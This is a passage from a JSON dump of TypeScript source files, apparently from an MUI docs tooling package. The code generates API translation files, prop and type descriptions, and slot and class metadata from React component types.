    "content": "import { mkdirSync } from 'fs';\nimport path from 'path';\nimport { kebabCase } from 'es-toolkit/string';\nimport { writePrettifiedFile } from '../buildApiUtils';\nimport { HooksTranslations, PropsTranslations } from '../types/ApiBuilder.types';\n\n/**\n * Sorts object keys, does not recurse).\n */\nfunction sortObjectKeys<T extends Record<string, unknown>>(obj: T | undefined): T | undefined {\n  if (!obj) {\n    return obj;\n  }\n  const sortedKeys = Object.keys(obj).sort((a, b) => {\n    return a.toLowerCase().localeCompare(b.toLowerCase());\n  });\n  const result: Record<string, unknown> = {};\n  for (const key of sortedKeys) {\n    result[key] = obj[key];\n  }\n  return result as T;\n}\n\n/**\n * Sorts the description keys inside translations to ensure consistent JSON output ordering.\n */\nfunction sortTranslationDescriptions(\n  translations: PropsTranslations | HooksTranslations,\n): PropsTranslations | HooksTranslations {\n  if ('propDescriptions' in translations) {\n    // PropsTranslations\n    return {\n      ...translations,\n      propDescriptions: sortObjectKeys(translations.propDescriptions) ?? {},\n      classDescriptions: sortObjectKeys(translations.classDescriptions) ?? {},\n      slotDescriptions: sortObjectKeys(translations.slotDescriptions),\n      cssVariablesDescriptions: sortObjectKeys(translations.cssVariablesDescriptions),\n      dataAttributesDescriptions: sortObjectKeys(translations.dataAttributesDescriptions),\n    };\n  }\n  // HooksTranslations\n  return {\n    ...translations,\n    parametersDescriptions: sortObjectKeys(translations.parametersDescriptions) ?? {},\n    returnValueDescriptions: sortObjectKeys(translations.returnValueDescriptions) ?? {},\n  };\n}\n\ninterface MinimalReactAPI {\n  name: string;\n  apiDocsTranslationFolder?: string;\n  translations: PropsTranslations | HooksTranslations;\n}\n\nexport default async function generateApiTranslations<ReactApi extends MinimalReactAPI>(\n  outputDirectory: string,\n  reactApi: ReactApi,\n  languages: string[],\n) {\n  const definitionName = reactApi.name;\n  const apiDocsTranslationPath = path.resolve(outputDirectory, kebabCase(definitionName));\n  function resolveApiDocsTranslationsComponentLanguagePath(\n    language: (typeof languages)[0],\n  ): string {\n    const languageSuffix = language === 'en' ? '' : `-${language}`;\n\n    return path.join(apiDocsTranslationPath, `${kebabCase(definitionName)}${languageSuffix}.json`);\n  }\n\n  mkdirSync(apiDocsTranslationPath, {\n    mode: 0o777,\n    recursive: true,\n  });\n  reactApi.apiDocsTranslationFolder = apiDocsTranslationPath;\n\n  const sortedTranslations = sortTranslationDescriptions(reactApi.translations);\n\n  await writePrettifiedFile(\n    resolveApiDocsTranslationsComponentLanguagePath('en'),\n    JSON.stringify(sortedTranslations),\n  );\n\n  await Promise.all(\n    languages.map(async (language) => {\n      if (language !== 'en') {\n        try {\n          await writePrettifiedFile(\n            resolveApiDocsTranslationsComponentLanguagePath(language),\n            JSON.stringify(sortedTranslations),\n            undefined,\n            { flag: 'wx' },\n          );\n        } catch (error) {\n          // File exists\n        }\n      }\n    }),\n  );\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/generatePropDescription.ts",
    "content": "import * as doctrine from 'doctrine';\nimport * as recast from 'recast';\nimport type { PropTypeDescriptor } from 'react-docgen';\nimport { escapeCell, removeNewLines } from '../buildApi';\nimport {\n  isElementTypeAcceptingRefProp,\n  isElementAcceptingRefProp,\n} from './generatePropTypeDescription';\nimport { DescribeablePropDescriptor } from './createDescribeableProp';\nimport { SeeMore } from '../types/utils.types';\n\nfunction resolveType(type: NonNullable<doctrine.Tag['type']>): string {\n  if (type.type === 'AllLiteral') {\n    return 'any';\n  }\n\n  if (type.type === 'VoidLiteral') {\n    return 'void';\n  }\n\n  if (type.type === 'NullLiteral') {\n    return 'null';\n  }\n\n  if (type.type === 'UndefinedLiteral') {\n    return 'undefined';\n  }\n\n  if (type.type === 'TypeApplication') {\n    return `${resolveType(type.expression)}<${type.applications\n      .map((typeApplication) => {\n        return resolveType(typeApplication);\n      })\n      .join(', ')}>`;\n  }\n\n  if (type.type === 'UnionType') {\n    return type.elements.map((t) => resolveType(t)).join(' | ');\n  }\n\n  if (type.type === 'RecordType') {\n    if (type.fields.length === 0) {\n      return '{}';\n    }\n\n    return `{ ${type.fields.map((field) => resolveType(field)).join(', ')} }`;\n  }\n\n  if (type.type === 'FieldType') {\n    return `${type.key}: ${type.value ? resolveType(type.value) : 'any'}`;\n  }\n\n  if ('name' in type) {\n    return type.name;\n  }\n  throw new TypeError(`resolveType for '${type.type}' not implemented`);\n}\n\nfunction getDeprecatedInfo(type: PropTypeDescriptor) {\n  if (!type.raw) {\n    return false;\n  }\n  const marker = /deprecatedPropType\\((\\r*\\n)*\\s*PropTypes\\./g;\n  const match = type.raw.match(marker);\n  const startIndex = type.raw.search(marker);\n  if (match) {\n    const offset = match[0].length;\n\n    return {\n      propTypes: type.raw.substring(startIndex + offset, type.raw.indexOf(',')),\n      explanation: recast.parse(type.raw).program.body[0].expression.arguments[1].value,\n    };\n  }\n\n  return false;\n}\n\ninterface PropTemplateDescriptor {\n  key: string;\n  description: string;\n}\n\nexport default function generatePropDescription(\n  prop: DescribeablePropDescriptor,\n  propName: string,\n): {\n  deprecated: string;\n  seeMore?: SeeMore;\n  jsDocText: string;\n  signature?: string;\n  generics?: { name: string; description: string }[];\n  signatureArgs?: {\n    name: string;\n    description: string;\n    argType?: string;\n    argTypeDescription?: string;\n  }[];\n  signatureReturn?: { name: string; description: string };\n  requiresRef?: boolean;\n} {\n  const { annotation } = prop;\n  const type = prop.type;\n  let deprecated = '';\n\n  if (type?.name === 'custom') {\n    const deprecatedInfo = getDeprecatedInfo(type);\n    if (deprecatedInfo) {\n      deprecated = `*Deprecated*. ${deprecatedInfo.explanation}<br><br>`;\n    }\n  }\n\n  const seeTag = annotation.tags.find((tag) => tag.title === 'see');\n  let seeMore;\n  if (seeTag && seeTag.description) {\n    const params = seeTag.description.match(/{@link ([^|| ]*)[|| ]([^}]*)}/);\n    if (params?.length === 3) {\n      seeMore = {\n        description: seeTag.description.replace(/{@link ([^|| ]*)[|| ]([^}]*)}/, '{{link}}'),\n        link: {\n          url: params[1],\n          text: params[2],\n        },\n      };\n    }\n  }\n\n  const jsDocText = escapeCell(annotation.description);\n\n  // Split up the parsed tags into 'arguments' and 'returns' parsed objects. If there's no\n  // 'returns' parsed object (i.e., one with title being 'returns'), make one of type 'void'.\n  const parsedArgs: readonly doctrine.Tag[] = annotation.tags.filter(\n    (tag) => tag.title === 'param',\n  );\n  let parsedReturns: { description?: string | null; type?: doctrine.Type | null } | undefined =\n    annotation.tags.find((tag) => tag.title === 'returns');\n\n  let signature;\n  let signatureArgs;\n  let signatureReturn;\n  const generics = annotation.tags\n    .filter((tag) => tag.title === 'template')\n    .map((template) => {\n      const [key, description] = template.description?.split(/(?<=^\\S+)\\s/) || [];\n      if (!description) {\n        return null;\n      }\n      return { key, description };\n    })\n    .filter(Boolean) as PropTemplateDescriptor[];\n  if (type?.name === 'func' && (parsedArgs.length > 0 || parsedReturns !== undefined)) {\n    parsedReturns = parsedReturns ?? { type: { type: 'VoidLiteral' } };\n\n    // Remove new lines from tag descriptions to avoid markdown errors.\n    annotation.tags.forEach((tag) => {\n      if (tag.description) {\n        tag.description = removeNewLines(tag.description);\n      }\n    });\n\n    const returnType = parsedReturns.type;\n    if (returnType == null) {\n      throw new TypeError(\n        `Function signature for prop '${propName}' has no return type. Try \\`@returns void\\`. Otherwise it might be a bug with doctrine.`,\n      );\n    }\n    const returnTypeName = resolveType(returnType);\n\n    signature = `function(${parsedArgs\n      .map((tag, index) => {\n        if (tag.type != null && tag.type.type === 'OptionalType') {\n          return `${tag.name}?: ${(tag.type.expression as any).name}`;\n        }\n\n        if (tag.type === undefined) {\n          throw new TypeError(\n            `In function signature for prop '${propName}' Argument #${index} has no type.`,\n          );\n        }\n        return `${tag.name}: ${resolveType(tag.type!)}`;\n      })\n      .join(', ')}) => ${returnTypeName}`;\n\n    signatureArgs = parsedArgs\n      .filter((tag) => tag.description && tag.name)\n      .map((tag) => {\n        const generic = generics.find(\n          (g) => tag.type?.type === 'NameExpression' && tag.type?.name === g.key,\n        );\n        return {\n          name: tag.name!,\n          description: tag.description!,\n          argType: generic?.key,\n          argTypeDescription: generic?.description,\n        };\n      });\n\n    if (parsedReturns.description) {\n      signatureReturn = { name: returnTypeName, description: parsedReturns.description };\n    }\n  }\n\n  const requiresRef =\n    isElementAcceptingRefProp(type) || isElementTypeAcceptingRefProp(type) || undefined;\n\n  return {\n    deprecated,\n    seeMore,\n    jsDocText,\n    signature,\n    signatureArgs,\n    signatureReturn,\n    requiresRef,\n  };\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/generatePropTypeDescription.ts",
    "content": "import * as recast from 'recast';\nimport { parse as docgenParse, type PropTypeDescriptor } from 'react-docgen';\nimport { escapeCell, escapeEntities, joinUnionTypes } from '../buildApi';\n\nfunction getDeprecatedInfo(type: PropTypeDescriptor | undefined) {\n  if (!type?.raw) {\n    return false;\n  }\n  const marker = /deprecatedPropType\\((\\r*\\n)*\\s*PropTypes\\./g;\n  const match = type.raw.match(marker);\n  const startIndex = type.raw.search(marker);\n  if (match) {\n    const offset = match[0].length;\n\n    return {\n      propTypes: type.raw.substring(startIndex + offset, type.raw.indexOf(',')),\n      explanation: recast.parse(type.raw).program.body[0].expression.arguments[1].value,\n    };\n  }\n\n  return false;\n}\n\nexport function getChained(type: PropTypeDescriptor | undefined) {\n  if (type?.raw) {\n    const marker = 'chainPropTypes';\n    const indexStart = type.raw.indexOf(marker);\n\n    if (indexStart !== -1) {\n      const results = docgenParse(\n        `\n        import PropTypes from 'prop-types';\n        const Foo = () => <div />\n        Foo.propTypes = {\n          bar: ${recast.print(recast.parse(type.raw).program.body[0].expression.arguments[0]).code}\n        }\n        export default Foo\n      `,\n        // helps react-docgen pickup babel.config.js\n        { filename: './' },\n      );\n      const parsed = results[0];\n      return {\n        type: parsed.props?.bar?.type,\n        required: parsed.props?.bar?.required,\n      };\n    }\n  }\n\n  return false;\n}\n\nexport function isElementTypeAcceptingRefProp(type: PropTypeDescriptor | undefined): boolean {\n  return type?.raw === 'elementTypeAcceptingRef';\n}\n\nfunction isRefType(type: PropTypeDescriptor | undefined): boolean {\n  return type?.raw === 'refType';\n}\n\nfunction isIntegerType(type: PropTypeDescriptor | undefined): boolean {\n  return type?.raw?.startsWith('integerPropType') ?? false;\n}\n\nexport function isElementAcceptingRefProp(type: PropTypeDescriptor | undefined): boolean {\n  return type?.raw ? /^elementAcceptingRef/.test(type.raw) : false;\n}\n\nexport default function generatePropTypeDescription(\n  type: PropTypeDescriptor | undefined,\n): string | undefined {\n  if (!type) {\n    return undefined;\n  }\n  switch (type.name) {\n    case 'custom': {\n      if (isElementTypeAcceptingRefProp(type)) {\n        return 'element type';\n      }\n      if (isElementAcceptingRefProp(type)) {\n        return 'element';\n      }\n      if (isIntegerType(type)) {\n        return 'integer';\n      }\n      if (isRefType(type)) {\n        return 'ref';\n      }\n      if (type.raw === 'HTMLElementType') {\n        return 'HTML element';\n      }\n      if (type.raw === '() => null') {\n        return 'any';\n      }\n\n      const deprecatedInfo = getDeprecatedInfo(type);\n      if (deprecatedInfo !== false) {\n        return generatePropTypeDescription({\n          // eslint-disable-next-line react/forbid-foreign-prop-types\n          name: deprecatedInfo.propTypes,\n        } as PropTypeDescriptor);\n      }\n\n      const chained = getChained(type);\n      if (chained !== false && chained.type) {\n        return generatePropTypeDescription(chained.type);\n      }\n\n      return type.raw;\n    }\n\n    case 'shape': {\n      const shapeValue = type.value as Record<string, PropTypeDescriptor>;\n      return `{ ${Object.keys(shapeValue)\n        .map((subValue) => {\n          const subType = shapeValue[subValue];\n          return `${subValue}${subType.required ? '' : '?'}: ${generatePropTypeDescription(\n            subType,\n          )}`;\n        })\n        .join(', ')} }`;\n    }\n\n    case 'union': {\n      const unionValue = type.value as PropTypeDescriptor[];\n      return joinUnionTypes(\n        unionValue.map((type2) => {\n          return generatePropTypeDescription(type2) ?? '';\n        }),\n      );\n    }\n    case 'enum': {\n      const enumValue = type.value as Array<{ value: string; computed?: boolean }>;\n      return joinUnionTypes(\n        enumValue.map((type2) => {\n          return escapeCell(type2.value);\n        }),\n      );\n    }\n\n    case 'arrayOf': {\n      const arrayValue = type.value as PropTypeDescriptor;\n      return `Array${escapeEntities('<')}${generatePropTypeDescription(arrayValue)}${escapeEntities('>')}`;\n    }\n\n    case 'instanceOf': {\n      const instanceValue = type.value as string;\n      if (instanceValue.startsWith('typeof')) {\n        return /typeof (.*) ===/.exec(instanceValue)![1];\n      }\n      return instanceValue;\n    }\n\n    default:\n      return type.name;\n  }\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/getPropsFromComponentNode.ts",
    "content": "import * as ts from 'typescript';\nimport { TypeScriptProject } from './createTypeScriptProject';\n\nexport interface ParsedProp {\n  /**\n   * If `true`, some signatures do not contain this property.\n   * For example: `id` in `{ id: number, value: string } | { value: string }`\n   */\n  onlyUsedInSomeSignatures: boolean;\n  signatures: { symbol: ts.Symbol; componentType: ts.Type }[];\n}\n\nexport interface ParsedComponent {\n  name: string;\n  location: ts.Node;\n  type: ts.Type;\n  sourceFile: ts.SourceFile | undefined;\n  props: Record<string, ParsedProp>;\n}\n\nfunction isTypeJSXElementLike(type: ts.Type, project: TypeScriptProject): boolean {\n  const symbol = type.symbol ?? type.aliasSymbol;\n  if (symbol) {\n    const name = project.checker.getFullyQualifiedName(symbol);\n    return (\n      // Remove once global JSX namespace is no longer used by React\n      name === 'global.JSX.Element' ||\n      name === 'React.JSX.Element' ||\n      name === 'React.ReactElement' ||\n      name === 'React.ReactNode'\n    );\n  }\n\n  if (type.isUnion()) {\n    return type.types.every(\n      // eslint-disable-next-line no-bitwise\n      (subType) => subType.flags & ts.TypeFlags.Null || isTypeJSXElementLike(subType, project),\n    );\n  }\n\n  return false;\n}\n\nfunction isStyledFunction(node: ts.VariableDeclaration): boolean {\n  return (\n    !!node.initializer &&\n    ts.isCallExpression(node.initializer) &&\n    ts.isCallExpression(node.initializer.expression) &&\n    ts.isIdentifier(node.initializer.expression.expression) &&\n    node.initializer.expression.expression.escapedText === 'styled'\n  );\n}\n\n// TODO update to reflect https://github.com/DefinitelyTyped/DefinitelyTyped/pull/65135\nfunction getJSXLikeReturnValueFromFunction(type: ts.Type, project: TypeScriptProject) {\n  return type\n    .getCallSignatures()\n    .filter((signature) => isTypeJSXElementLike(signature.getReturnType(), project));\n}\n\nfunction parsePropsType({\n  name,\n  type,\n  shouldInclude = () => true,\n  location,\n  sourceFile,\n}: {\n  name: string;\n  type: ts.Type;\n  location: ts.Node;\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  sourceFile: ts.SourceFile | undefined;\n}): ParsedComponent {\n  const parsedProps: Record<string, ParsedProp> = {};\n\n  type\n    .getProperties()\n    .filter((property) => shouldInclude({ name: property.getName(), depth: 1 }))\n    .forEach((property) => {\n      parsedProps[property.getName()] = {\n        signatures: [\n          {\n            symbol: property,\n            componentType: type,\n          },\n        ],\n        onlyUsedInSomeSignatures: false,\n      };\n    });\n\n  return {\n    name,\n    location,\n    type,\n    sourceFile,\n    props: parsedProps,\n  };\n}\n\nfunction parseFunctionComponent({\n  node,\n  shouldInclude,\n  project,\n}: {\n  node: ts.VariableDeclaration | ts.FunctionDeclaration;\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  project: TypeScriptProject;\n}): ParsedComponent | null {\n  if (!node.name) {\n    return null;\n  }\n\n  const symbol = project.checker.getSymbolAtLocation(node.name);\n  if (!symbol) {\n    return null;\n  }\n  const componentName = node.name.getText();\n\n  // Discriminate render functions to components\n  if (componentName[0].toUpperCase() !== componentName[0]) {\n    return null;\n  }\n\n  const signatures = getJSXLikeReturnValueFromFunction(\n    project.checker.getTypeOfSymbolAtLocation(symbol, symbol.valueDeclaration!),\n    project,\n  );\n  if (signatures.length === 0) {\n    return null;\n  }\n\n  const parsedComponents = signatures.map((signature) =>\n    parsePropsType({\n      shouldInclude,\n      name: componentName,\n      type: project.checker.getTypeOfSymbolAtLocation(\n        signature.parameters[0],\n        signature.parameters[0].valueDeclaration!,\n      ),\n      location: signature.parameters[0].valueDeclaration!,\n      sourceFile: node.getSourceFile(),\n    }),\n  );\n\n  const squashedProps: Record<string, ParsedProp> = {};\n  parsedComponents.forEach((parsedComponent) => {\n    Object.keys(parsedComponent.props).forEach((propName) => {\n      if (!squashedProps[propName]) {\n        squashedProps[propName] = parsedComponent.props[propName];\n      } else {\n        squashedProps[propName].signatures = [\n          ...squashedProps[propName].signatures,\n          ...parsedComponent.props[propName].signatures,\n        ];\n      }\n    });\n  });\n\n  const squashedParsedComponent: ParsedComponent = {\n    ...parsedComponents[0],\n    props: squashedProps,\n  };\n\n  Object.keys(squashedParsedComponent.props).forEach((propName) => {\n    squashedParsedComponent.props[propName].onlyUsedInSomeSignatures =\n      squashedParsedComponent.props[propName].signatures.length < signatures.length;\n  });\n\n  return squashedParsedComponent;\n}\n\nexport interface GetPropsFromComponentDeclarationOptions {\n  project: TypeScriptProject;\n  node: ts.Node;\n  /**\n   * Called before a PropType is added to a component/object\n   * @returns true to include the prop, false to skip it\n   */\n  shouldInclude?: (data: { name: string; depth: number }) => boolean;\n  /**\n   * Control if const declarations should be checked\n   * @default false\n   * @example declare const Component: React.JSXElementConstructor<Props>;\n   */\n  checkDeclarations?: boolean;\n}\n\nfunction getPropsFromVariableDeclaration({\n  node,\n  project,\n  checkDeclarations,\n  shouldInclude,\n}: { node: ts.VariableDeclaration } & Pick<\n  GetPropsFromComponentDeclarationOptions,\n  'project' | 'checkDeclarations' | 'shouldInclude'\n>) {\n  const type = project.checker.getTypeAtLocation(node.name);\n  if (!node.initializer) {\n    if (\n      checkDeclarations &&\n      type.aliasSymbol &&\n      type.aliasTypeArguments &&\n      project.checker.getFullyQualifiedName(type.aliasSymbol) === 'React.JSXElementConstructor'\n    ) {\n      const propsType = type.aliasTypeArguments[0];\n      if (propsType === undefined) {\n        throw new TypeError(\n          'Unable to find symbol for `props`. This is a bug in typescript-to-proptypes.',\n        );\n      }\n      return parsePropsType({\n        name: node.name.getText(),\n        type: propsType,\n        location: node.name,\n        shouldInclude,\n        sourceFile: node.getSourceFile(),\n      });\n    }\n\n    if (checkDeclarations) {\n      return parseFunctionComponent({\n        node,\n        shouldInclude,\n        project,\n      });\n    }\n\n    return null;\n  }\n\n  if (\n    (ts.isArrowFunction(node.initializer) || ts.isFunctionExpression(node.initializer)) &&\n    node.initializer.parameters.length === 1\n  ) {\n    return parseFunctionComponent({\n      node,\n      shouldInclude,\n      project,\n    });\n  }\n  //  x = React.memo((props:type) { return <div/> })\n  //  x = React.forwardRef((props:type) { return <div/> })\n  if (ts.isCallExpression(node.initializer) && node.initializer.arguments.length > 0) {\n    const potentialComponent = node.initializer.arguments[0];\n    if (\n      (ts.isArrowFunction(potentialComponent) || ts.isFunctionExpression(potentialComponent)) &&\n      potentialComponent.parameters.length > 0 &&\n      getJSXLikeReturnValueFromFunction(\n        project.checker.getTypeAtLocation(potentialComponent),\n        project,\n      ).length > 0\n    ) {\n      const propsSymbol = project.checker.getSymbolAtLocation(\n        potentialComponent.parameters[0].name,\n      );\n      if (propsSymbol) {\n        return parsePropsType({\n          name: node.name.getText(),\n          type: project.checker.getTypeOfSymbolAtLocation(\n            propsSymbol,\n            propsSymbol.valueDeclaration!,\n          ),\n          location: propsSymbol.valueDeclaration!,\n          shouldInclude,\n          sourceFile: node.getSourceFile(),\n        });\n      }\n    }\n  }\n\n  // handle component factories: x = createComponent()\n  if (\n    checkDeclarations &&\n    node.initializer &&\n    !isStyledFunction(node) &&\n    getJSXLikeReturnValueFromFunction(type, project).length > 0\n  ) {\n    return parseFunctionComponent({\n      node,\n      shouldInclude,\n      project,\n    });\n  }\n\n  return null;\n}\n\nexport function getPropsFromComponentNode({\n  node,\n  shouldInclude,\n  project,\n  checkDeclarations,\n}: GetPropsFromComponentDeclarationOptions): ParsedComponent | null {\n  let parsedComponent: ParsedComponent | null = null;\n  // function x(props: type) { return <div/> }\n  if (\n    ts.isFunctionDeclaration(node) &&\n    node.name &&\n    node.parameters.length === 1 &&\n    getJSXLikeReturnValueFromFunction(project.checker.getTypeAtLocation(node.name), project)\n      .length > 0\n  ) {\n    parsedComponent = parseFunctionComponent({ node, shouldInclude, project });\n  } else if (ts.isVariableDeclaration(node)) {\n    parsedComponent = getPropsFromVariableDeclaration({\n      node,\n      project,\n      checkDeclarations,\n      shouldInclude,\n    });\n  } else if (ts.isVariableStatement(node)) {\n    // const x = ...\n    ts.forEachChild(node.declarationList, (variableNode) => {\n      if (parsedComponent != null) {\n        return;\n      }\n\n      // x = (props: type) => { return <div/> }\n      // x = function(props: type) { return <div/> }\n      // x = function y(props: type) { return <div/> }\n      // x = react.memo((props:type) { return <div/> })\n      if (ts.isVariableDeclaration(variableNode) && variableNode.name) {\n        parsedComponent = getPropsFromVariableDeclaration({\n          node: variableNode,\n          project,\n          checkDeclarations,\n          shouldInclude,\n        });\n      }\n\n      if (\n        ts.isClassDeclaration(variableNode) &&\n        variableNode.name &&\n        variableNode.heritageClauses &&\n        variableNode.heritageClauses.length === 1\n      ) {\n        const heritage = variableNode.heritageClauses[0];\n        if (heritage.types.length !== 1) {\n          return;\n        }\n\n        const arg = heritage.types[0];\n        if (!arg.typeArguments) {\n          return;\n        }\n\n        parsedComponent = parsePropsType({\n          shouldInclude,\n          name: variableNode.name.getText(),\n          location: arg.typeArguments[0],\n          type: project.checker.getTypeAtLocation(arg.typeArguments[0]),\n          sourceFile: node.getSourceFile(),\n        });\n      }\n    });\n  }\n\n  return parsedComponent;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/parseSlotsAndClasses.ts",
    "content": "import * as ts from 'typescript';\nimport { ComponentClassDefinition } from '@mui-internal/api-docs-builder';\nimport { renderMarkdown } from '../buildApi';\nimport { getSymbolDescription, getSymbolJSDocTags } from '../buildApiUtils';\nimport { TypeScriptProject } from './createTypeScriptProject';\nimport { getPropsFromComponentNode } from './getPropsFromComponentNode';\nimport resolveExportSpecifier from './resolveExportSpecifier';\nimport { ProjectSettings } from '../ProjectSettings';\nimport { Slot } from '../types/utils.types';\n\ninterface ClassInfo {\n  description: string;\n  isDeprecated?: true;\n  deprecationInfo?: string;\n}\n\n/**\n * Gets the deprecation information for a given symbol.\n * @param symbol - The TypeScript symbol.\n * @returns An object containing the deprecation information, if the symbol is deprecated.\n */\nfunction getClassDeprecationObject(symbol: ts.Symbol): {\n  isDeprecated?: true;\n  deprecationInfo?: string;\n} {\n  const tags = getSymbolJSDocTags(symbol);\n  if (tags.deprecated) {\n    return {\n      isDeprecated: true,\n      deprecationInfo: renderMarkdown(tags.deprecated.text?.[0].text || '').trim() || undefined,\n    };\n  }\n  return {};\n}\n\nfunction getComponentDeclaration(\n  project: TypeScriptProject,\n  componentName: string,\n): ts.Node | null {\n  const unstableName = `Unstable_${componentName}`;\n  const componentSymbol = project.exports[componentName] ?? project.exports[unstableName];\n\n  if (!componentSymbol) {\n    return null;\n  }\n\n  const localeSymbol = resolveExportSpecifier(componentSymbol, project);\n  return localeSymbol.valueDeclaration ?? null;\n}\n\ninterface ParseSlotsAndClassesParameters {\n  typescriptProject: TypeScriptProject;\n  projectSettings: ProjectSettings;\n  componentName: string;\n  muiName: string;\n  slotInterfaceName?: string;\n}\n\nexport default function parseSlotsAndClasses({\n  typescriptProject,\n  projectSettings,\n  componentName,\n  muiName,\n  slotInterfaceName,\n}: ParseSlotsAndClassesParameters): {\n  slots: Slot[];\n  classes: ComponentClassDefinition[];\n} {\n  // Obtain an array of classes for the given component\n  const classDefinitions = extractClasses(\n    typescriptProject,\n    projectSettings,\n    componentName,\n    muiName,\n  );\n  const slots = extractSlots(typescriptProject, componentName, classDefinitions, slotInterfaceName);\n\n  const nonSlotClassDefinitions = classDefinitions.filter(\n    (classDefinition) => !Object.keys(slots).includes(classDefinition.key),\n  );\n\n  return {\n    slots: Object.values(slots),\n    classes: nonSlotClassDefinitions,\n  };\n}\n\nfunction extractClasses(\n  typescriptProject: TypeScriptProject,\n  projectSettings: ProjectSettings,\n  componentName: string,\n  muiName: string,\n): ComponentClassDefinition[] {\n  return (\n    extractClassesFromProps(typescriptProject, projectSettings, componentName, muiName) ??\n    extractClassesFromInterface(typescriptProject, projectSettings, componentName, muiName)\n  );\n}\n\n/**\n * Gets class names and descriptions from the {ComponentName}Classes interface.\n */\nfunction extractClassesFromInterface(\n  typescriptProject: TypeScriptProject,\n  projectSettings: ProjectSettings,\n  componentName: string,\n  muiName: string,\n): ComponentClassDefinition[] {\n  const result: ComponentClassDefinition[] = [];\n\n  const classesInterfaceName = `${componentName}Classes`;\n  if (!typescriptProject.exports[classesInterfaceName]) {\n    return result;\n  }\n\n  const classesType = typescriptProject.checker.getDeclaredTypeOfSymbol(\n    typescriptProject.exports[classesInterfaceName],\n  );\n\n  const classesTypeDeclaration = classesType?.symbol?.declarations?.[0];\n  if (classesTypeDeclaration && ts.isInterfaceDeclaration(classesTypeDeclaration)) {\n    const classesProperties = classesType.getProperties();\n    classesProperties.forEach((symbol) => {\n      const tags = getSymbolJSDocTags(symbol);\n      if (tags.ignore) {\n        return;\n      }\n      result.push({\n        key: symbol.name,\n        className: projectSettings.generateClassName(muiName, symbol.name),\n        description: getSymbolDescription(symbol, typescriptProject),\n        isGlobal: projectSettings.isGlobalClassName(symbol.name),\n        ...getClassDeprecationObject(symbol),\n      });\n    });\n  }\n\n  return result;\n}\n\nfunction extractClassesFromProps(\n  typescriptProject: TypeScriptProject,\n  projectSettings: ProjectSettings,\n  componentName: string,\n  muiName: string,\n): ComponentClassDefinition[] | null {\n  const declaration = getComponentDeclaration(typescriptProject, componentName);\n\n  if (!declaration) {\n    throw new Error(\n      `No export found in \"${typescriptProject.rootPath}\" for component \"${componentName}\" or \"Unstable_${componentName}\".`,\n    );\n  }\n\n  const classesProp = getPropsFromComponentNode({\n    node: declaration,\n    project: typescriptProject,\n    shouldInclude: ({ name }) => name === 'classes',\n    checkDeclarations: true,\n  })?.props.classes;\n\n  if (classesProp == null) {\n    return null;\n  }\n\n  const classes: Record<string, ClassInfo> = {};\n  classesProp.signatures.forEach((propType) => {\n    const type = typescriptProject.checker.getTypeAtLocation(propType.symbol.declarations![0]);\n    removeUndefinedFromType(type)\n      ?.getProperties()\n      .forEach((property) => {\n        const tags = getSymbolJSDocTags(property);\n        if (tags.ignore) {\n          return;\n        }\n        const description = getSymbolDescription(property, typescriptProject);\n        classes[property.escapedName.toString()] = {\n          description,\n          ...getClassDeprecationObject(property),\n        };\n      });\n  });\n\n  return Object.keys(classes).map((name) => ({\n    key: name,\n    className: projectSettings.generateClassName(muiName, name),\n    description: name !== classes[name].description ? classes[name].description : '',\n    isGlobal: projectSettings.isGlobalClassName(name),\n    isDeprecated: classes[name].isDeprecated,\n    deprecationInfo: classes[name].deprecationInfo,\n  }));\n}\n\nfunction extractSlots(\n  project: TypeScriptProject,\n  componentName: string,\n  classDefinitions: ComponentClassDefinition[],\n  slotsInterfaceNameParams?: string,\n): Record<string, Slot> {\n  const defaultSlotsInterfaceName = `${componentName}Slots`;\n  const slotsInterfaceName = slotsInterfaceNameParams ?? defaultSlotsInterfaceName;\n  const exportedSymbol = project.exports[slotsInterfaceName];\n\n  const hasSlotsProp = (): boolean => {\n    const declaration = getComponentDeclaration(project, componentName);\n    if (!declaration) {\n      return false;\n    }\n\n    const slotsProp = getPropsFromComponentNode({\n      node: declaration,\n      project,\n      shouldInclude: ({ name }) => name === 'slots',\n      checkDeclarations: true,\n    })?.props.slots;\n\n    return slotsProp != null;\n  };\n\n  if (!exportedSymbol) {\n    if (hasSlotsProp()) {\n      console.warn(\n        `Component \"${componentName}\" has a \"slots\" prop but is missing the \"${slotsInterfaceName}\" export.`,\n      );\n    }\n    return {};\n  }\n\n  if (!hasSlotsProp()) {\n    console.warn(\n      `\"${slotsInterfaceName}\" is exported but component \"${componentName}\" has no \"slots\" prop.`,\n    );\n  }\n\n  const type = project.checker.getDeclaredTypeOfSymbol(exportedSymbol);\n  const typeDeclaration = type?.symbol?.declarations?.[0];\n\n  if (!typeDeclaration || !ts.isInterfaceDeclaration(typeDeclaration)) {\n    return {};\n  }\n\n  const slots: Record<string, Slot> = {};\n  const propertiesOnProject = type.getProperties();\n  const classDefMap = new Map(classDefinitions.map((classDef) => [classDef.key, classDef]));\n\n  propertiesOnProject.forEach((propertySymbol) => {\n    const tags = getSymbolJSDocTags(propertySymbol);\n    if (tags.ignore) {\n      return;\n    }\n    const slotName = propertySymbol.name;\n    const slotClassDefinition = classDefMap.get(slotName);\n\n    slots[slotName] = {\n      name: slotName,\n      description: getSymbolDescription(propertySymbol, project),\n      default: tags.default?.text?.[0].text,\n      class: slotClassDefinition?.className ?? null,\n    };\n  });\n\n  return slots;\n}\n\nfunction removeUndefinedFromType(type: ts.Type) {\n  // eslint-disable-next-line no-bitwise\n  if (type.flags & ts.TypeFlags.Union) {\n    return (type as ts.UnionType).types.find((subType) => {\n      return subType.flags !== ts.TypeFlags.Undefined;\n    });\n  }\n\n  return type;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/parseTest.ts",
